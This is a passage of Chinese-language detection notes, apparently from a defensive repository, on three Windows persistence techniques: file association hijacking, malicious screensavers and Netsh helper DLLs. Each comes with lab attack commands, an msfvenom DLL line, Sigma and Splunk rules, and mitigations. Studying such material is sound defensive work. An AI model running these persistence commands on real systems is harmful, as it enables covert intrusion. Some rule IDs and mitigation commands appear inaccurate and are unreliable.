    "content": "# T1546-001-Win-事件触发执行-更改默认文件关联\n\n## 描述\n\n攻击者可能通过修改文件类型关联实现持久化执行恶意代码（T1546.001）。Windows通过文件扩展名关联默认程序（文件处理程序）来打开特定类型的文件，相关配置存储在Windows注册表中（如`HKEY_CLASSES_ROOT\\.txt`）。用户或管理员可通过`assoc`命令或直接修改注册表更改文件关联，攻击者可利用此机制将恶意程序绑定到特定扩展名，当用户打开该类型文件时触发恶意命令。\n\n攻击者通常修改注册表键（如`HKEY_CLASSES_ROOT\\[handler]\\shell\\open\\command`）以执行任意程序，结合伪装为合法文件类型（如`.txt`、`.hta`）提升隐蔽性。检测重点在于监控注册表中文件关联的异常修改及相关进程的启动行为。\n\n## 测试案例\n\n1. **更改默认文件关联**  \n   攻击者将`.hta`文件的默认处理程序从`htafile`更改为`txtfile`，导致`.hta`文件由`notepad.exe`而非`mshta.exe`打开。  \n2. **绑定恶意程序**  \n   攻击者修改文件关联，使特定扩展名（如`.txt`）触发恶意可执行文件（如`malware.exe`）。  \n\n### 示例命令\n- **攻击命令**（需管理员权限）：\n  ```bash\n  assoc .hta=txtfile\n  ```\n  - 将`.hta`文件关联到`txtfile`处理程序（`notepad.exe`）。  \n- **清理命令**：\n  ```bash\n  assoc .hta=htafile\n  ```\n  - 恢复`.hta`文件关联到原始处理程序（`mshta.exe`）。  \n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录`assoc.exe`或其他注册表编辑工具（如`reg.exe`）的进程创建。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`assoc.exe`或`reg.exe`的命令行参数。  \n- **事件ID 13**：记录注册表修改，如`HKEY_CLASSES_ROOT\\.ext`或`HKEY_CLASSES_ROOT\\[handler]\\shell\\open\\command`的更改。  \n- **事件ID 7**：记录恶意程序加载的模块（如DLL）。  \n\n**配置日志记录**  \n- 启用注册表审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强注册表、进程和模块监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10或Windows Server 2012+。  \n- **权限**：管理员权限（修改文件关联需提升权限）。  \n- **工具**：`assoc.exe`（系统自带）、Sysmon、注册表编辑器（`regedit`）。  \n- **日志**：启用Windows安全日志和Sysmon。  \n\n### 攻击步骤\n1. **确认原始关联**  \n   - 查看`.hta`文件的当前关联：\n     ```cmd\n     assoc .hta\n     ```\n     输出：`.hta=htafile`\n\n2. **更改文件关联**  \n   - 将`.hta`关联到`txtfile`：\n     ```cmd\n     assoc .hta=txtfile\n     ```\n   - 验证更改：\n     ```cmd\n     assoc .hta\n     ```\n     输出：`.hta=txtfile`\n\n3. **触发文件关联**  \n   - 创建测试文件`test.hta`：\n     ```html\n     <script>alert(\"Test\");</script>\n     ```\n   - 双击`test.hta`，观察是否由`notepad.exe`而非`mshta.exe`打开。\n\n4. **验证日志**  \n   - 检查Windows安全日志（事件ID 4688）：\n     ```powershell\n     Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match \"assoc.exe\" }\n     ```\n   - 检查Sysmon日志（事件ID 13）：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 13 -and $_.Message -match \"HKEY_CLASSES_ROOT\" }\n     ```\n\n5. **清理**  \n   - 恢复原始关联：\n     ```cmd\n     assoc .hta=htafile\n     ```\n   - 删除测试文件：\n     ```cmd\n     del test.hta\n     ```\n\n### 示例输出\n```cmd\nC:\\Users\\Administrator>assoc .hta=txtfile\n.hta=txtfile\n\nC:\\Users\\Administrator>assoc .hta\n.hta=txtfile\n\nC:\\Users\\Administrator>assoc .hta=htafile\n.hta=htafile\n```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Windows安全日志（事件ID 4688）**：\n  ```xml\n  <Event xmlns=\"http://schemas.microsoft.com/win/2004/08/events/event\">\n    <System>\n      <Provider Name=\"Microsoft-Windows-Security-Auditing\" Guid=\"{54849625-5478-4994-A5BA-3E3B0328C30D}\" />\n      <EventID>4688</EventID>\n      <Version>2</Version>\n      <Level>0</Level>\n      <Task>13312</Task>\n      <Opcode>0</Opcode>\n      <Keywords>0x8020000000000000</Keywords>\n      <TimeCreated SystemTime=\"2025-06-10T03:00:00.123456Z\" />\n      <EventRecordID>1234</EventRecordID>\n      <Channel>Security</Channel>\n      <Computer>WIN-TEST.contoso.local</Computer>\n    </System>\n    <EventData>\n      <Data Name=\"SubjectUserName\">Administrator</Data>\n      <Data Name=\"SubjectDomainName\">CONTOSO</Data>\n      <Data Name=\"NewProcessId\">0x1234</Data>\n      <Data Name=\"NewProcessName\">C:\\Windows\\System32\\assoc.exe</Data>\n      <Data Name=\"CommandLine\">assoc .hta=txtfile</Data>\n      <Data Name=\"ParentProcessName\">C:\\Windows\\System32\\cmd.exe</Data>\n    </EventData>\n  </Event>\n  ```\n\n- **Sysmon日志（事件ID 13）**：\n  ```plaintext\n  EventID: 13\n  EventType: SetValue\n  UtcTime: 2025-06-10 03:00:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\assoc.exe\n  TargetObject: HKLM\\SOFTWARE\\Classes\\.hta\n  Details: txtfile\n  User: CONTOSO\\Administrator\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控注册表修改和进程创建日志，检测文件关联的异常更改及相关恶意行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Sysmon事件ID 13，检测`HKEY_CLASSES_ROOT\\.ext`或`HKEY_CLASSES_ROOT\\[handler]\\shell\\open\\command`的修改。  \n   - 监控事件ID 4688或Sysmon事件ID 1，检测`assoc.exe`或`reg.exe`的异常执行。  \n   - 监控Sysmon事件ID 1，检测文件打开触发的异常进程（如`notepad.exe`打开`.hta`）。  \n   - 检查进程调用树，识别由文件关联触发的可疑子进程。  \n\n2. **Sigma规则（文件关联修改）**：\n   ```yaml\n   title: 文件关联修改检测\n   id: h90123456-abcd789012-xyz345678901\n   status: stable\n   description: 检测通过assoc.exe或注册表修改文件关联的潜在恶意行为\n   references:\n     - https://attack.mitre.org/techniques/T1546/001/\n     - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.001/T1546.001.md\n   tags:\n     - attack.persistence\n     - attack.t1546.001\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection_assoc:\n       Image|endswith: '\\assoc.exe'\n       CommandLine|contains: '='\n     selection_reg:\n       Image|endswith: '\\reg.exe'\n       CommandLine|contains:\n         - 'HKEY_CLASSES_ROOT'\n         - 'shell\\open\\command'\n     condition: selection_assoc or selection_reg\n   fields:\n     - Image\n     - CommandLine\n     - ParentCommandLine\n     - User\n   falsepositives:\n     - 合法管理员更改文件关联\n     - 软件安装更新文件处理程序\n   level: medium\n   ```\n\n3. **Sigma规则（注册表文件关联修改）**：\n   ```yaml\n   title: 文件关联注册表修改检测\n   id: i01234567-abcd890123-abc456789012\n   status: experimental\n   description: 检测HKEY_CLASSES_ROOT下文件关联注册表键的异常修改\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 13\n       TargetObject|contains:\n         - '\\Software\\Classes\\.'\n         - '\\shell\\open\\command'\n     condition: selection\n   fields:\n     - TargetObject\n     - Details\n     - Image\n     - User\n   falsepositives:\n     - 合法软件安装或更新\n   level: high\n   ```\n\n4. **SIEM规则**：\n   - 检测文件关联修改及相关进程。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventID=1 Image IN (\"*assoc.exe\",\"*reg.exe\") CommandLine IN (\"*=*\",\"*HKEY_CLASSES_ROOT*\")) OR (EventID=13 TargetObject IN (\"*Software\\Classes\\*\",\"*shell\\open\\command*\"))) | stats count by Image, CommandLine, TargetObject, User, ComputerName\n     ```\n\n5. **注册表监控**：\n   - 检查用户文件关联：\n     ```powershell\n     Get-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.hta\"\n     ```\n   - 检查系统文件关联：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SOFTWARE\\Classes\\.hta\"\n     ```\n\n6. **威胁情报整合**：\n   - 检查关联的命令行程序（如`malware.exe`）或注册表值的哈希，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御文件关联攻击需从注册表保护、权限管理和监控入手：\n\n1. **限制注册表访问**  \n   - 锁定`HKEY_CLASSES_ROOT`的写权限：\n     ```powershell\n     $acl = Get-Acl \"HKLM:\\SOFTWARE\\Classes\"\n     $acl.SetAccessRuleProtection($true, $false)\n     Set-Acl -Path \"HKLM:\\SOFTWARE\\Classes\" -AclObject $acl\n     ```\n\n2. **限制assoc命令使用**  \n   - 使用AppLocker限制非管理员执行`assoc.exe`：\n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"C:\\Windows\\System32\\assoc.exe\" -Action Deny -User \"Everyone\"\n     ```\n\n3. **白名单文件关联**  \n   - 定期审计文件关联，确保仅允许可信处理程序：\n     ```powershell\n     assoc | Select-String \".hta|.txt|.exe\"\n     ```\n\n4. **加强用户权限管理**  \n   - 限制用户修改文件关联的权限，仅允许管理员操作：\n     ```powershell\n     icacls \"C:\\Windows\\System32\\assoc.exe\" /deny \"Users:(X)\"\n     ```\n\n5. **日志和监控**  \n   - 启用Sysmon事件ID 13，检测文件关联注册表修改。  \n   - 配置SIEM监控`assoc.exe`和`reg.exe`的异常使用。  \n   - 使用EDR工具检测异常文件打开行为。  \n\n6. **定期审计**  \n   - 检查文件关联配置：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SOFTWARE\\Classes\\.hta\" | Select-Object \"(default)\"\n     ```\n   - 审计用户文件关联：\n     ```powershell\n     Get-ChildItem -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\"\n     ```\n\n## 参考推荐\n\n- MITRE ATT&CK: T1546.001  \n  <https://attack.mitre.org/techniques/T1546/001/>  \n- Atomic Red Team: T1546.001  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.001/T1546.001.md>"
  },
  {
    "path": "Windows/05持久化/T1546.002-Win-事件触发执行-屏幕保护程序.md",
    "content": "# T1546-002-Win-事件触发执行-屏幕保护程序\n\n## 描述\n\n攻击者可能通过修改屏幕保护程序设置实现持久化执行恶意代码（T1546.002）。Windows屏幕保护程序是在用户不活动一段时间后自动运行的可执行文件（扩展名为`.scr`，本质为PE文件），默认由`scrnsave.scr`控制，位于`C:\\Windows\\System32\\`（32位）或`C:\\Windows\\SysWOW64\\`（64位）。屏幕保护程序配置存储在注册表`HKCU\\Control Panel\\Desktop\\`中，攻击者可通过修改相关键值（如`SCRNSAVE.EXE`）将恶意PE文件设置为屏幕保护程序，从而在用户不活动时触发。\n\n攻击者通常结合低超时时间（如60秒）和禁用密码保护（`ScreenSaverIsSecure=0`）以确保恶意代码频繁执行。屏幕保护程序的触发机制隐蔽性较高，易伪装为合法系统行为。检测重点在于监控注册表修改、`.scr`文件的异常执行及相关进程行为。\n\n## 测试案例\n\n1. **设置恶意二进制为屏幕保护程序**  \n   攻击者将恶意PE文件（如`cmd.exe`）复制为`.scr`文件，并通过注册表配置为屏幕保护程序，在用户不活动后执行。  \n2. **伪装合法屏幕保护程序**  \n   攻击者使用看似正常的`.scr`文件名（如`evilscreensaver.scr`），结合短超时时间，隐藏恶意行为。  \n\n### 示例命令\n- **攻击命令**（需管理员权限）：\n  ```cmd\n  copy C:\\Windows\\System32\\cmd.exe \"%SystemRoot%\\System32\\evilscreensaver.scr\"\n  reg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveActive /t REG_SZ /d 1 /f\n  reg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveTimeout /t REG_SZ /d 60 /f\n  reg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f\n  reg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v SCRNSAVE.EXE /t REG_SZ /d \"%SystemRoot%\\System32\\evilscreensaver.scr\" /f\n  shutdown /r /t 0\n  ```\n  - **用例**：将`cmd.exe`复制为`evilscreensaver.scr`，设置为屏幕保护程序，60秒后触发，无需密码解锁，系统重启后生效。  \n  - **输入参数**：`input_binary=C:\\Windows\\System32\\cmd.exe`。  \n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录`reg.exe`或其他注册表修改工具的进程创建。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`reg.exe`或`.scr`文件的执行信息。  \n- **事件ID 13**：记录注册表修改，如`HKCU\\Control Panel\\Desktop\\SCRNSAVE.EXE`的更改。  \n- **事件ID 7**：记录`.scr`文件加载的模块（如DLL）。  \n- **事件ID 11**：记录`.scr`文件的创建或写入（如`evilscreensaver.scr`）。  \n\n**配置日志记录**  \n- 启用注册表审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强注册表、进程和文件监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10或Windows Server 2012+。  \n- **权限**：管理员权限（修改注册表和System32目录需提升权限）。  \n- **工具**：`reg.exe`（系统自带）、Sysmon、测试用PE文件（如`cmd.exe`）。  \n- **日志**：启用Windows安全日志和Sysmon。  \n\n### 攻击步骤\n1. **复制恶意二进制**  \n   - 将`cmd.exe`复制为屏幕保护程序：\n     ```cmd\n     copy C:\\Windows\\System32\\cmd.exe \"%SystemRoot%\\System32\\evilscreensaver.scr\"\n     ```\n\n2. **配置屏幕保护程序**  \n   - 启用屏幕保护程序：\n     ```cmd\n     reg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveActive /t REG_SZ /d 1 /f\n     ```\n   - 设置超时时间（60秒）：\n     ```cmd\n     reg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveTimeout /t REG_SZ /d 60 /f\n     ```\n   - 禁用密码保护：\n     ```cmd\n     reg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f\n     ```\n   - 设置恶意`.scr`路径：\n     ```cmd\n     reg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v SCRNSAVE.EXE /t REG_SZ /d \"%SystemRoot%\\System32\\evilscreensaver.scr\" /f\n     ```\n\n3. **触发持久化**  \n   - 重启系统：\n     ```cmd\n     shutdown /r /t 0\n     ```\n   - 等待60秒，观察`evilscreensaver.scr`（即`cmd.exe`）是否执行。\n\n4. **验证结果**  \n   - 检查注册表：\n     ```powershell\n     Get-ItemProperty -Path \"HKCU:\\Control Panel\\Desktop\" -Name SCRNSAVE.EXE\n     ```\n   - 检查日志：  \n     - **Windows安全日志（事件ID 4688）**：\n       ```powershell\n       Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match \"reg.exe\" }\n       ```\n     - **Sysmon日志（事件ID 13）**：\n       ```powershell\n       Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 13 -and $_.Message -match \"SCRNSAVE.EXE\" }\n       ```\n\n5. **清理**  \n   - 删除恶意`.scr`文件：\n     ```cmd\n     del \"%SystemRoot%\\System32\\evilscreensaver.scr\"\n     ```\n   - 恢复注册表：\n     ```cmd\n     reg.exe delete \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v SCRNSAVE.EXE /f\n     reg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveActive /t REG_SZ /d 0 /f\n     ```\n\n### 示例输出\n```cmd\ncopy C:\\Windows\\System32\\cmd.exe \"%SystemRoot%\\System32\\evilscreensaver.scr\"\n        1 file(s) copied.\n\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveActive /t REG_SZ /d 1 /f\nThe operation completed successfully.\n\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveTimeout /t REG_SZ /d 60 /f\nThe operation completed successfully.\n\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f\nThe operation completed successfully.\n\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v SCRNSAVE.EXE /t REG_SZ /d \"%SystemRoot%\\System32\\evilscreensaver.scr\" /f\nThe operation completed successfully.\n\nshutdown /r /t 0\n```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Sysmon日志（事件ID 1，进程创建）**：\n  ```plaintext\n  EventID: 1\n  RuleName: technique_id=T1112,technique_name=Modify Registry\n  UtcTime: 2025-06-10 03:00:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 5496\n  Image: C:\\Windows\\System32\\reg.exe\n  CommandLine: reg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v SCRNSAVE.EXE /t REG_SZ /d \"C:\\Windows\\System32\\evilscreensaver.scr\" /f\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  ParentProcessId: 5028\n  User: CONTOSO\\Administrator\n  IntegrityLevel: High\n  Hashes: SHA256=19316D4266D0B776D9B2A05D5903D8CBC8F0EA1520E9C2A7E6D5960B6FA4DCAF\n  ```\n\n- **Sysmon日志（事件ID 13，注册表修改）**：\n  ```plaintext\n  EventID: 13\n  EventType: SetValue\n  UtcTime: 2025-06-10 03:00:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\reg.exe\n  TargetObject: HKCU\\Control Panel\\Desktop\\SCRNSAVE.EXE\n  Details: C:\\Windows\\System32\\evilscreensaver.scr\n  User: CONTOSO\\Administrator\n  ```\n\n- **Sysmon日志（事件ID 11，文件创建）**：\n  ```plaintext\n  EventID: 11\n  UtcTime: 2025-06-10 03:00:00.345\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\cmd.exe\n  TargetFilename: C:\\Windows\\System32\\evilscreensaver.scr\n  User: CONTOSO\\Administrator\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控注册表修改、文件创建和进程执行日志，检测屏幕保护程序的异常配置及恶意行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Sysmon事件ID 13，检测`HKCU\\Control Panel\\Desktop`下屏幕保护程序键（如`SCRNSAVE.EXE`、`ScreenSaveTimeout`）的修改。  \n   - 监控Sysmon事件ID 1，检测`reg.exe`或`.scr`文件的执行，特别是异常路径的`.scr`文件。  \n   - 监控Sysmon事件ID 11，检测`System32`或`SysWOW64`目录中新增的`.scr`文件。  \n   - 监控Windows安全日志事件ID 4688，检测`reg.exe`或`copy`命令的异常使用。  \n   - 检查`.scr`文件的执行时间，识别非用户交互触发的运行。  \n\n2. **Sigma规则（屏幕保护程序注册表修改）**：\n   ```yaml\n   title: 屏幕保护程序注册表修改检测\n   id: j12345678-abcd901234-xyz567890123\n   status: stable\n   description: 检测屏幕保护程序配置的注册表修改，可能用于持久化恶意代码\n   references:\n     - https://attack.mitre.org/techniques/T1546/002/\n     - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.002/T1546.002.md\n   tags:\n     - attack.persistence\n     - attack.t1546.002\n     - attack.t1112\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 13\n       TargetObject|contains:\n         - '\\Control Panel\\Desktop\\SCRNSAVE.EXE'\n         - '\\Control Panel\\Desktop\\ScreenSaveActive'\n         - '\\Control Panel\\Desktop\\ScreenSaveTimeout'\n         - '\\Control Panel\\Desktop\\ScreenSaverIsSecure'\n     condition: selection\n   fields:\n     - TargetObject\n     - Details\n     - Image\n     - User\n   falsepositives:\n     - 用户手动更改屏幕保护程序设置\n     - 合法系统管理脚本\n   level: high\n   ```\n\n3. **Sigma规则（屏幕保护程序进程执行）**：\n   ```yaml\n   title: 异常屏幕保护程序进程执行\n   id: k23456789-abcd012345-abc678901234\n   status: experimental\n   description: 检测异常路径或非标准屏幕保护程序的进程执行\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 1\n       Image|endswith: '.scr'\n       Image|contains: '\\System32\\'\n     filter:\n       Image|endswith:\n         - '\\scrnsave.scr'\n         - '\\logon.scr'\n         - '\\mystify.scr'\n         - '\\ribbons.scr'\n         - '\\bubbles.scr'\n         - '\\ssText3d.scr'\n     condition: selection and not filter\n   fields:\n     - Image\n     - CommandLine\n     - ParentImage\n     - User\n   falsepositives:\n     - 第三方合法屏幕保护程序\n   level: high\n   ```\n\n4. **SIEM规则**：\n   - 检测屏幕保护程序配置及执行。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventID=13 TargetObject IN (\"*Control Panel\\Desktop\\SCRNSAVE.EXE*\",\"*Control Panel\\Desktop\\ScreenSaveActive*\",\"*Control Panel\\Desktop\\ScreenSaveTimeout*\",\"*Control Panel\\Desktop\\ScreenSaverIsSecure*\")) OR (EventID=1 Image=\"*.scr\" NOT Image IN (\"*scrnsave.scr\",\"*logon.scr\",\"*mystify.scr\",\"*ribbons.scr\",\"*bubbles.scr\",\"*ssText3d.scr\")) OR (EventID=11 TargetFilename=\"*.scr\")) | stats count by Image, CommandLine, TargetObject, User, ComputerName\n     ```\n\n5. **注册表监控**：\n   - 检查屏幕保护程序配置：\n     ```powershell\n     Get-ItemProperty -Path \"HKCU:\\Control Panel\\Desktop\" | Select-Object SCRNSAVE.EXE, ScreenSaveActive, ScreenSaveTimeout, ScreenSaverIsSecure\n     ```\n\n6. **工具支持**：\n   - 使用Sysinternals Autoruns检查屏幕保护程序注册表键：\n     ```cmd\n     autoruns -a | findstr \"SCRNSAVE.EXE\"\n     ```\n   - 使用Process Monitor捕获实时注册表和文件活动。\n\n7. **威胁情报整合**：\n   - 检查`.scr`文件哈希或注册表路径是否与已知恶意样本匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御屏幕保护程序攻击需从注册表保护、文件监控和权限管理入手：\n\n1. **锁定注册表键**  \n   - 限制`HKCU\\Control Panel\\Desktop`的写权限：\n     ```powershell\n     $acl = Get-Acl \"HKCU:\\Control Panel\\Desktop\"\n     $acl.SetAccessRuleProtection($true, $false)\n     Set-Acl -Path \"HKCU:\\Control Panel\\Desktop\" -AclObject $acl\n     ```\n\n2. **限制.scr文件执行**  \n   - 使用AppLocker限制非标准`.scr`文件的运行：\n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"C:\\Windows\\System32\\*.scr\" -Action Allow -User \"Everyone\"\n     ```\n\n3. **白名单屏幕保护程序**  \n   - 仅允许系统默认屏幕保护程序：\n     ```powershell\n     Set-ItemProperty -Path \"HKCU:\\Control Panel\\Desktop\" -Name SCRNSAVE.EXE -Value \"C:\\Windows\\System32\\scrnsave.scr\"\n     ```\n\n4. **禁用屏幕保护程序**  \n   - 在非必要场景禁用屏幕保护程序：\n     ```powershell\n     Set-ItemProperty -Path \"HKCU:\\Control Panel\\Desktop\" -Name ScreenSaveActive -Value 0\n     ```\n\n5. **加强权限管理**  \n   - 限制非管理员用户修改System32目录：\n     ```powershell\n     icacls \"C:\\Windows\\System32\" /deny \"Users:(W)\"\n     ```\n\n6. **日志和监控**  \n   - 启用Sysmon事件ID 1、11、13，检测`.scr`文件创建和注册表修改。  \n   - 配置SIEM监控屏幕保护程序相关事件。  \n   - 使用EDR工具检测异常`.scr`执行。  \n\n7. **定期审计**  \n   - 检查屏幕保护程序配置：\n     ```powershell\n     Get-ItemProperty -Path \"HKCU:\\Control Panel\\Desktop\" | Select-Object SCRNSAVE.EXE\n     ```\n   - 审计System32目录中的`.scr`文件：\n     ```powershell\n     Get-ChildItem -Path \"C:\\Windows\\System32\" -Filter \"*.scr\"\n     ```\n\n## 参考推荐\n\n- MITRE ATT&CK: T1546.002  \n  <https://attack.mitre.org/techniques/T1546/002/>  \n- Atomic Red Team: T1546.002  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.002/T1546.002.md>"
  },
  {
    "path": "Windows/05持久化/T1546.007-Win-通过netsh key持久化.md",
    "content": "# T1546-007-Win-通过Netsh Helper DLL持久化\n\n## 描述\n\n攻击者可能通过注册Netsh Helper DLL实现持久化执行恶意代码（T1546.007）。`Netsh.exe`是Windows提供的命令行工具，用于配置和监控网络设置（如接口、防火墙、路由）。Netsh通过加载Helper DLL（动态链接库）扩展功能，这些DLL存储在注册表`HKLM\\SOFTWARE\\Microsoft\\Netsh`中，定义了特定Netsh命令（如`interface`、`firewall`）的处理程序。\n\n攻击者可通过添加恶意DLL到Netsh Helper注册表键，使其在`netsh.exe`执行特定命令时加载，触发任意代码执行。由于`netsh.exe`可能由系统进程、第三方软件（如VPN）或管理员操作触发，攻击行为隐蔽性较高。检测重点在于监控Netsh注册表键的修改、异常DLL加载及`netsh.exe`的命令行活动。\n\n## 测试案例\n\n1. **注册恶意Netsh Helper DLL**  \n   攻击者将恶意DLL注册为Netsh Helper，在执行`netsh`命令（如`netsh interface show interface`）时触发。  \n2. **结合其他持久化技术**  \n   攻击者通过计划任务或服务定期运行`netsh.exe`，确保恶意DLL持续执行。  \n\n### 示例命令\n- **注册恶意DLL**（需管理员权限）：\n  ```cmd\n  netsh add helper C:\\Windows\\System32\\malicious.dll\n  ```\n  - 将`malicious.dll`注册到`HKLM\\SOFTWARE\\Microsoft\\Netsh`。  \n- **触发执行**：\n  ```cmd\n  netsh interface show interface\n  ```\n  - 运行Netsh命令，加载注册的DLL。  \n\n参考测试案例：[Window权限维持（十）：Netsh Helper DLL](https://www.cnblogs.com/xiaozi/p/11834533.html)\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录`netsh.exe`或`reg.exe`的进程创建。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`netsh.exe`的命令行参数。  \n- **事件ID 7**：记录DLL加载，检测`netsh.exe`加载的异常DLL。  \n- **事件ID 13**：记录注册表修改，如`HKLM\\SOFTWARE\\Microsoft\\Netsh`的更改。  \n- **事件ID 11**：记录DLL文件的创建或写入。  \n\n**配置日志记录**  \n- 启用注册表审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强注册表、进程和模块监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10或Windows Server 2012+。  \n- **权限**：管理员权限（修改注册表和执行`netsh`需提升权限）。  \n- **工具**：`netsh.exe`（系统自带）、测试用DLL（模拟恶意DLL）、Sysmon。  \n- **测试DLL**：创建简单DLL（或使用`msfvenom`生成）：\n  ```bash\n  msfvenom -p windows/x64/messagebox TEXT=\"Netsh Helper DLL\" -f dll -o malicious.dll\n  ```\n- **日志**：启用Windows安全日志和Sysmon。  \n\n### 攻击步骤\n1. **部署恶意DLL**  \n   - 将测试DLL复制到`C:\\Windows\\System32\\`：\n     ```cmd\n     copy malicious.dll C:\\Windows\\System32\\malicious.dll\n     ```\n\n2. **注册Netsh Helper DLL**  \n   - 使用`netsh`添加Helper：\n     ```cmd\n     netsh add helper C:\\Windows\\System32\\malicious.dll\n     ```\n   - 验证注册表：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Netsh\"\n     ```\n\n3. **触发执行**  \n   - 运行Netsh命令：\n     ```cmd\n     netsh interface show interface\n     ```\n   - 观察DLL是否加载（如弹出消息框）。\n\n4. **验证结果**  \n   - 检查注册表：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Netsh\" | Select-Object malicious\n     ```\n   - 检查日志：  \n     - **Windows安全日志（事件ID 4688）**：\n       ```powershell\n       Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match \"netsh.exe\" }\n       ```\n     - **Sysmon日志（事件ID 13）**：\n       ```powershell\n       Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 13 -and $_.Message -match \"Netsh\" }\n       ```\n\n5. **清理**  \n   - 删除注册表键：\n     ```cmd\n     reg delete \"HKLM\\SOFTWARE\\Microsoft\\Netsh\" /v malicious /f\n     ```\n   - 删除DLL：\n     ```cmd\n     del C:\\Windows\\System32\\malicious.dll\n     ```\n\n### 示例输出\n```cmd\nnetsh add helper C:\\Windows\\System32\\malicious.dll\nOK\n\nnetsh interface show interface\n<触发DLL执行，可能弹出消息框>\n\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Netsh\" /v malicious /f\nThe operation completed successfully.\n```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- 